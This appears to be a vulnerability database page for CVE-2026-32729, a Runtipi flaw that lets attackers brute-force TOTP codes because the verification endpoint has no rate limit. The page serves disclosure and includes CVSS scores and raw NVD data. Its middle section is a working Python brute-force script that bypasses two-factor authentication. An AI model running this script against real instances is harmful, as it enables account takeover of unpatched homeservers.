Security Vulnerability Report
中文
CVE-2026-32729 CVSS 8.1 HIGH

CVE-2026-32729

Published: 2026-03-16 14:19:43
Last Modified: 2026-03-17 19:01:54

Description

Runtipi is a personal homeserver orchestrator. Prior to 4.8.1, The Runtipi /api/auth/verify-totp endpoint does not enforce any rate limiting, attempt counting, or account lockout mechanism. An attacker who has obtained a user's valid credentials (via phishing, credential stuffing, or data breach) can brute-force the 6-digit TOTP code to completely bypass two-factor authentication. The TOTP verification session persists for 24 hours (default cache TTL), providing an excessive window during which the full 1,000,000-code keyspace (000000–999999) can be exhausted. At practical request rates (~500 req/s), the attack completes in approximately 33 minutes in the worst case. This vulnerability is fixed in 4.8.1.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:runtipi:runtipi:*:*:*:*:*:*:*:* - VULNERABLE
Runtipi < 4.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-32729 PoC - Runtipi TOTP Brute Force Attack Note: This PoC is for educational and authorized security testing purposes only. """ import requests import itertools import time from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "https://your-runtipi-instance.com/api/auth/verify-totp" USERNAME = "[email protected]" PASSWORD = "user_password" TARGET_TOTP = "123456" # Replace with target user's valid TOTP def login(username, password): """Authenticate and get session token""" session = requests.Session() login_data = {"email": username, "password": password} response = session.post(f"{TARGET_URL.replace('/verify-totp', '/login')}", json=login_data) if response.status_code == 200: return session, response.json() return None, None def try_totp(session, totp_code): """Attempt TOTP verification""" try: response = session.post(TARGET_URL, json={"code": totp_code}) if response.status_code == 200: result = response.json() if result.get("success") or result.get("verified"): return True, totp_code except requests.RequestException: pass return False, None def brute_force_totp(session, max_attempts=1000000, rate=500): """ Brute force TOTP code With rate limiting at ~500 req/s, full keyspace takes ~33 minutes """ print(f"[*] Starting TOTP brute force attack against {TARGET_URL}") print(f"[*] Target: {USERNAME}") print(f"[*] Rate: ~{rate} req/s, Estimated time: ~{1000000//rate//60} minutes") start_time = time.time() attempt = 0 with ThreadPoolExecutor(max_workers=rate) as executor: futures = {} for i in range(0, min(max_attempts, 1000000), 1): totp = f"{i:06d}" futures[executor.submit(try_totp, session, totp)] = totp if len(futures) >= rate: for future in as_completed(list(futures.keys())): attempt += 1 success, code = future.result() if success: elapsed = time.time() - start_time print(f"[+] SUCCESS! TOTP code found: {code}") print(f"[+] Attempts: {attempt}, Time: {elapsed:.2f}s") return code if attempt % 10000 == 0: print(f"[*] Progress: {attempt}/{max_attempts} attempts ({attempt/max_attempts*100:.2f}%)") futures = {} print(f"[-] TOTP code not found within {max_attempts} attempts") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-32729 - Runtipi TOTP Brute Force PoC") print("WARNING: For authorized security testing only!") print("=" * 60) # Step 1: Login with valid credentials print("\n[1] Authenticating with valid credentials...") session, login_result = login(USERNAME, PASSWORD) if not session: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Brute force TOTP print("\n[2] Starting TOTP brute force...") result = brute_force_totp(session) if result: print(f"\n[!] 2FA BYPASSED - Valid TOTP: {result}") else: print("\n[-] Attack failed - TOTP not found")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32729", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:43.400", "lastModified": "2026-03-17T19:01:54.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Runtipi is a personal homeserver orchestrator. Prior to 4.8.1, The Runtipi /api/auth/verify-totp endpoint does not enforce any rate limiting, attempt counting, or account lockout mechanism. An attacker who has obtained a user's valid credentials (via phishing, credential stuffing, or data breach) can brute-force the 6-digit TOTP code to completely bypass two-factor authentication. The TOTP verification session persists for 24 hours (default cache TTL), providing an excessive window during which the full 1,000,000-code keyspace (000000–999999) can be exhausted. At practical request rates (~500 req/s), the attack completes in approximately 33 minutes in the worst case. This vulnerability is fixed in 4.8.1."}, {"lang": "es", "value": "Runtipi es un orquestador de homeserver personal. Antes de 4.8.1, el endpoint /api/auth/verify-totp de Runtipi no aplica ningún mecanismo de limitación de velocidad, conteo de intentos o bloqueo de cuenta. Un atacante que ha obtenido credenciales válidas de un usuario (mediante phishing, relleno de credenciales o violación de datos) puede forzar por fuerza bruta el código TOTP de 6 dígitos para eludir completamente la autenticación de dos factores. La sesión de verificación TOTP persiste durante 24 horas (TTL de caché predeterminado), proporcionando una ventana excesiva durante la cual el espacio de claves completo de 1.000.000 códigos (000000–999999) puede ser agotado. A tasas de solicitud prácticas (~500 solicitudes/s), el ataque se completa en aproximadamente 33 minutos en el peor de los casos. Esta vulnerabilidad está corregida en 4.8.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}, {"lang": "en", "value": "CWE-799"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runtipi:runtipi:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.8.1", "matchCriteriaId": "9BA07C84-FDE1-4049-A576-D259B0888E84"}]}]}], "references": [{"url": "https://github.com/runtipi/runtipi/security/advisories/GHSA-v6gf-frxm-567w", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}